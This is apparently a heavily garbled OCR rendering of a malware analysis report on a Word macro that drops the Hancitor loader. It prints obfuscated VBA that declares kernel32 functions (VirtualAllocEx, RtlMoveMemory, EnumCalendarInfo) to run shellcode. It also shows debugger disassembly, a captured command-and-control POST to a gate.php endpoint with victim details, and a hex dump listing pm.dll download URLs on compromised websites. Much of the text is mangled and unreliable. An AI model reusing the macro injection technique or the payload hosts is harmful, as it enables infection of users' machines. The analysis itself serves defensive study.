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MD5 0d1dbb318ca . = = 8a96e3e9abb307f3616cd
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T =T Froveiness
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= Sub sameiness ()
Dim likelihood k= Integer
+- &% Wormal Din sisterhood As Variant
= % Project (Sample) Set jardiniere = natal libet. BoundValue (“Tab2%)
=25 Microsoft Yord T gru:t\tixt\g f %;Edlniere.ControlTipText
. castrate =
W] Thi=locument relativity = Right (zrunting castrate)
=75 BE appropriative = presbyope. sative (relativity)
tal blameless = &
5;'3 While blameless < 9
-3 laneless = blameless + 1
#-[1SIA patells = Round(385. 25)
patella = Fix (105 13)
Wend

dans = “argasidas”

#IE VEAR And WinS4 Then
Dim slopseller hs Veriant
Dim anabolic As eustoma

Bt - ThisDocument x| Dim maritsl As LongPtr

anabolic. elzeifstatement = 0

ThisDocumen Document | Dim zloty As Byte
#Elze
BFEE | fmatr | Din sustereness hs Integer
anabolic = 0
LockThen e ke Dim secretion As Variant
HoLinelrealf Dim marital As Long
HoLinelrealfe #End If
MathBr ealBiz competition = 1 - B2 - 8
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it (bibliophilic + 1) = newspaper (axillofaci
iBLiophili = cherrycolored(sberdevine, stylite
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truism = froghit
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2.5 shellcode

6a Rt1MoveMemory  VirtualAllocEx £ T Nez G [ i
bilaterallyd madid™ T A

Public Declare Function gruidae Lib “kernel3Z” Alias "EnunCalendarInfolt” (By¥el shortage As Any, ByVal palermo As Any, By¥al mailboat hs Any, ByVal turbinate As Any) As Lon
‘ can’ t take another ication

L PeblinDoelsme Rrngtiss rennel B2 41ioms T ntral il onRudnbbing e L £ b Teng, Brllel hannazs A lana, Balal ek LY TR R SANELLLYS ENE R A
anevsrmm maard? o “Anentinhaard  fnewln 0 [

74  buddhismi TG ¥ shellcode VirtuallocEx Ne W
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Q P 7 Rt1MoveMemory  shellcode
[ Ne ¥ b TA

Lam ALLms Lsuus na o
DIim additum A= Long

bilaterally additum, By¥al VerPtr (buddhism) + 5, 4 * $Fbuddhi smAOHhEEE T B addi tun
Dim pericallis Az Integer

Dim obtrusively hs Variant

Dim tit &= Long

merida = 0

leiopelmatidas = -1

babelilke = O

minutely = Int (443 142)

patella = Abs (57.291)|

semipellucid = 14 + 4082

pomelo = madid(By¥al leiopelmatidae, Ey¥al babelilke, T386, semipellucid, 64) B Vir tual 11 ocEx i BOT 305 T F IHIEEE
bismarckian = “envelope”

bilaterally tit, By¥al WarPtr (pomelo) + 5, 4 * gpomeloiibdE M B it

patella = patella + 277

bilaterally ByVal tit, ByVal additum, 5538 * 45 addi tumbtihb o EETIEFE M H] i bk o

tvmoani = 8T
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Public Declare Function deglutition Lib "user32” Alisz "EndPaint” (fork As Long, dracunculus As Long) As Long
“E5# can' t take another eemplication

Public Declare Fumctién gruidse Lib "kernel32® Alias "EnumCalendarInfol” (ByVal shertage hs Any, ByVal palermo As Any, ByVal mailbost Az Any, ByVal turbinate As Any) As Lon
484 can’ t take anothercomptivalion

2.8 EnumcCalendarinfoW £

BOOL EnumCalendarInfo(

2.9 EnumCalendarinfo £ H

AL CLymE An LUl

chyme = marital t+ refuse
Dim ascomycetes As Long
ascomycetes = 124 - 5 - 118

| dispersed = gruidae (chyme, minefield, ascomycetes, ascomycetes) AR EnanC 2l endar Tnf o £
whining = 12
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[reses | B40X] wi) 833 31 ) =Y BE|Mx|wn]cls|K|BIR ) s) EEE2)
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“ Registers (FPU)
ERX kernel32.EnumCalendarInfol

nou ebp,esp
ntd11.7C97B178

FF75 14 duord ss:[ebp+Bx14]
FF75 10 dword ssz[ebp+0x10]
FF75 0C dword s5:[ebp+0xC]

FE7E oa - ce-TahntAyRT ..

£E12)

Y¥i207E6 09393305
Fs:ldxa81 BE12E7EC  EEEREEE
ds:eax+BxG1 00000000
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s| &=

i 2 | short kernel32_7CBAUBCS3

FCBUBC2D ) cmp dword ptr ss:[ebp+8x18],esi

EFX .
¢ | 1E5EN - ] l | it

EC: Lor L _ .
rry_17EB4BE35|. 75 18 I short kernel32 _7C848CLT

lea ==

call
short kernel32.7C848CTS
lea ---
P
call
short kernel32.7C848C75

0012E6D0| @01ZE7FO
0812E6Dy| B630F804
0812E6D8| 00BOABAC
sl ax3ul EE12E5DC| epeeeeeE
i 00000001

RAPARAAF

pusn eop

mov ebo.esp

sub eso.Bx7CC

mau
ds:ieax+exi)

PP
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2.2 0x02. Shellcode

Shellcode b H |k W p PE g b

g pax,ebx
85341122|, 74 68 . short 8534112C
85341124 81CE FFOF0O08 |or esi,BxFFF
8534112a(, EB 23 M short 8534114F
8534112C 813E 42554C4C Nad




8A521113 59 ecx

8A521114 8945 F4 mov dword ptr ss:[ebp-8xC],eax

B8A521117 8B75 FC mov esi,dword ptr ss:[ebp-8x4]

8A52111A )

8a52111C esi

B8A52111D call dword ptr ss:[ebp-0x8] kernel32.IsBadReadPtr
8A521128 cmp eax,ebx

BA521122 P I8 short eas2112C
81CE FFOFB806 |or esi,

8A52112A|, EB 23 short BAS2114F
B8A52112C 813E 53544152 |cmp

8A521132|, 75 1B short BAS2114F
BA521134 817E 04 46414C){cmp

2.13 Shellcode

2.3 0x03. PE dump
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e

a " [ explorer.exe T PE ® dump ¥ Ne ~ 0§ i
Hancitor ! A
2a v - 7 c&c b | H @ A
oH [ENe T  F BbP A3
Fow GUID W “BbP A
A Follow TCP Stream (tcp.stream eq 2) = B

Stream Content

POST /1s5/gate.php HTTP/1.1
Accept: */®
Ccontent-Type: application/x-www-form-urlencoded
_lluser-agent; Mozilla/5.0Q (windows NT 6.1: wing4: xed4: Tridenr/7.0: rv:11.01 Tike Gecko

NFO=ABC @ ABC GUID=9574177336452158344&BUTI D=0711&1
A&WIN=5.1(x32)HTTP/1.1 200 0K ‘administrator&ip==_ CMATYPE=
Server: nginx/1.6.2

Date: Tue, 08 Mov 2016 08:36:11 avT
Content-Type: text,/html
Transfer-Encoding: chunked
Cconnection: keep-alive

X-Powered-By: PHP/5.4.45

C
YWVEBARRABW==
0
- Entire conversation {554 bytes)
EBCDIC ! Hex Cump C Arrays ® Raw - FEind Save As Print 1 ASCII
- Filter Out This Stream | Close | - Help-
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Address

as120828
a5120838
a5120848
a5120858
A5120868
A5120878
a5120888
851208908
851208008
851208808
B51208ca
85120808
B51208E8

B51206F0
A51281840

Hex dump
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C&C

T
T
i3
2F
6E
G2
75
70
78
i7
68
GF
68
63
4

T
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2F
78
74
72
67
7L
3A
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7L
GE
2D
[i1H
78

ia
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69
il H
65
2D
2F
2F
i2
G
2F
GF
61
i3
i7
I

i"rfr'fi;'h..' e T

ASCII
1:http:z/ www_ lup
aprod.comfwp-con
tent/themes/invi
ctus_3.3.3/pm.dl
l|http://interne
tbudi .com.brfwp-
content/plugins/
googleanalytics/
pm.dll|http://itr
iozift.nl/wp-adm
in/pm.dll|http:sf
/timesessions.co
m.kosmos .ch-meta
-netfwp-includes
Apm.dll|http:z//u
uﬂﬂmind v rom
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uantity As LongPtr, couple As LongPtr, ByVal port As LongPtr, ByVal concertina A

s LongPtr, ByVal hamamelidae As LongPtr) As LongPtr’

"Public Declare PtrSafe Function cumulonimbus Lib "kernel32” Alias "Sleep” (alls

o GRS SRER

'Public Declare Function gruidae Lib “kernel32” Afias “EnunCalendarInfolf”

st

3.1 Lad

o BEAE 5]

i
BN | ) C:\Program Files\Microsoft Offi e
N ce\Office14\WINWORD.EXE
S >
> M BISER khkhk / ~
3
explorer.exef¥%T 7
C SEERSRERT G s wan ENexpl = |
> HAYBREEE mrEG wer

> WEBMBEAEEAT  mpen eaw
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> HAYBHTTPERE  sRed wnk
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